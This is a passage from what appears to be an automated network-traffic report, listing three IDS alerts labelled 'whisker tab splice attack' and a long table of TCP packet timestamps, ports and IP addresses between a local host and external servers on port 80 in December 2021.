12/01/21-09:15:28.719065	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.721106	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35
12/01/21-09:15:28.724709	TCP	1087	WEB-MISC whisker tab splice attack	49836	80	192.168.2.4	185.215.113.35

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 1, 2021 09:13:55.263231993 CET	49757	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:55.320353031 CET	80	49757	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:55.320452929 CET	49757	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:55.320594072 CET	49757	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:55.320620060 CET	49757	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:55.377640963 CET	80	49757	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:55.425843000 CET	80	49757	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:55.425996065 CET	49757	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:55.427608967 CET	49757	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:55.461867094 CET	49758	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:55.484668970 CET	80	49757	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:55.519853115 CET	80	49758	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:55.519958019 CET	49758	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:55.520081043 CET	49758	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:55.520102024 CET	49758	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:55.577781916 CET	80	49758	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:55.621822119 CET	80	49758	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:55.621895075 CET	49758	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:55.621932983 CET	49758	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:55.679599047 CET	80	49758	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:55.970334053 CET	49759	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:56.027813911 CET	80	49759	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:56.028634071 CET	49759	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:56.028903961 CET	49759	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:56.028923988 CET	49759	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:56.086366892 CET	80	49759	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:56.128304005 CET	80	49759	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:56.128401995 CET	49759	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:56.129484892 CET	49759	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:56.158487082 CET	49760	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:56.186886072 CET	80	49759	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:56.216181993 CET	80	49760	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:56.216320992 CET	49760	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:56.216691017 CET	49760	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:56.216733932 CET	49760	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:56.274220943 CET	80	49760	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:56.318475008 CET	80	49760	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:56.318701029 CET	49760	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:56.318763971 CET	49760	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:56.376368999 CET	80	49760	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:56.617095947 CET	49761	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:56.674649000 CET	80	49761	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:56.674829960 CET	49761	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:56.674941063 CET	49761	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:56.674959898 CET	49761	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:56.733436108 CET	80	49761	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:56.778233051 CET	80	49761	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:56.778408051 CET	49761	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:56.778429031 CET	49761	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:56.826224089 CET	49762	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:56.835941076 CET	80	49761	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:56.884181976 CET	80	49762	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:56.884473085 CET	49762	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:56.884566069 CET	49762	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:56.884594917 CET	49762	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:56.942187071 CET	80	49762	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:56.989212036 CET	80	49762	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:56.989350080 CET	49762	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:56.989723921 CET	49762	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.047193050 CET	80	49762	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.317518950 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.375052929 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.375924110 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.375977039 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.461333036 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.461384058 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.461405993 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.461422920 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.461437941 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.461453915 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.461472988 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.461489916 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.461497068 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.461519003 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.461519003 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.461539984 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.461551905 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.461623907 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.519202948 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.519244909 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.519268990 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.519292116 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.519314051 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.519335032 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.519350052 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.519357920 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.519380093 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.519401073 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.519423008 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.519423008 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.519445896 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.519450903 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.519467115 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.519475937 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.519488096 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.519510984 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.519519091 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.519532919 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.519553900 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.519556999 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.519576073 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.519596100 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.519614935 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.519618034 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.519639969 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.519648075 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.519684076 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.577188969 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.577223063 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.577234983 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.577248096 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.577260971 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.577272892 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.577285051 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.577302933 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.577322006 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.577339888 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.577357054 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.577373028 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.577389956 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.577403069 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.577413082 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.577429056 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.577444077 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.577461004 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.577477932 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.577476978 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.577495098 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.577502966 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.577507019 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.577512026 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.577528000 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.577528000 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.577543974 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.577559948 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.577574968 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.577575922 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.577593088 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.577605963 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.577608109 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.577624083 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.577625990 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.577641964 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.577656984 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.577661037 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.577672958 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.577688932 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.577692032 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.577703953 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.577719927 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.577735901 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.577743053 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.577753067 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.577769041 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.577776909 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.577785015 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.577800989 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.577800989 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.577817917 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.577821016 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.577863932 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.635396957 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.635432005 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.635457993 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.635483027 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.635505915 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.635530949 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.635555983 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.635564089 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.635577917 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.635581017 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.635601044 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.635627031 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.635634899 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.635651112 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.635673046 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.635675907 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.635700941 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.635725975 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.635734081 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.635751009 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.635782003 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.635782003 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.635807037 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.635831118 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.635854959 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.635863066 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.635878086 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.635900974 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.635900974 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.635924101 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.635925055 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.635950089 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.635972977 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.635974884 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.635997057 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.636017084 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.636020899 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.636044025 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.636055946 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.636080980 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.636106014 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.636126041 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.636131048 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.636156082 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.636178970 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.636181116 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.636203051 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.636226892 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.636250973 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.636255026 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.636274099 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.636297941 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.636302948 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.636321068 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.636322975 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.636344910 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.636368990 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.636377096 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.636392117 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.636415958 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.636416912 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.636440992 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.636464119 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.636485100 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.636487007 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.636512041 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.636523008 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.636534929 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.636548042 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.636557102 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.636601925 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.694557905 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.694602013 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.694627047 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.694645882 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.694664001 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.694679976 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.694706917 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.694731951 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.694752932 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.694773912 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.694791079 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.694797993 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.694818020 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.694838047 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.694849014 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.694860935 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.694883108 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.694883108 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.694905996 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.694909096 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.694928885 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.694951057 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.694958925 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.694973946 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.694996119 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.694998980 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.695018053 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.695040941 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.695060968 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.695061922 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.695085049 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.695106030 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.695106983 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.695127964 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.695132971 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.695149899 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.695173025 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.695177078 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.695194960 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.695216894 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.695218086 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.695240021 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.695262909 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.695276976 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.695285082 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.695306063 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.695307016 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.695328951 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.695350885 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.695354939 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.695373058 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.695394993 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.695416927 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.695421934 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.695441008 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.695461035 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.695466042 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.695488930 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.695491076 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.695509911 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.695533037 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.695547104 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.695555925 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.695579052 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.695590973 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.695602894 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.695627928 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.695627928 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.695688009 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.753453016 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.753479004 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.753496885 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.753515005 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.753530979 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.753549099 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.753568888 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.753568888 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.753591061 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.753604889 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.753613949 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.753633022 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.753650904 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.753663063 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.753673077 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.753690004 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.753705978 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.753710032 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.753726006 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.753731966 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.753750086 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.753765106 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.753772020 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.753792048 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.753804922 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.753813982 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.753832102 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.753849030 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.753864050 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.753869057 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.753886938 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.753900051 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.753910065 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.753925085 CET	49763	80	192.168.2.4	95.213.165.249
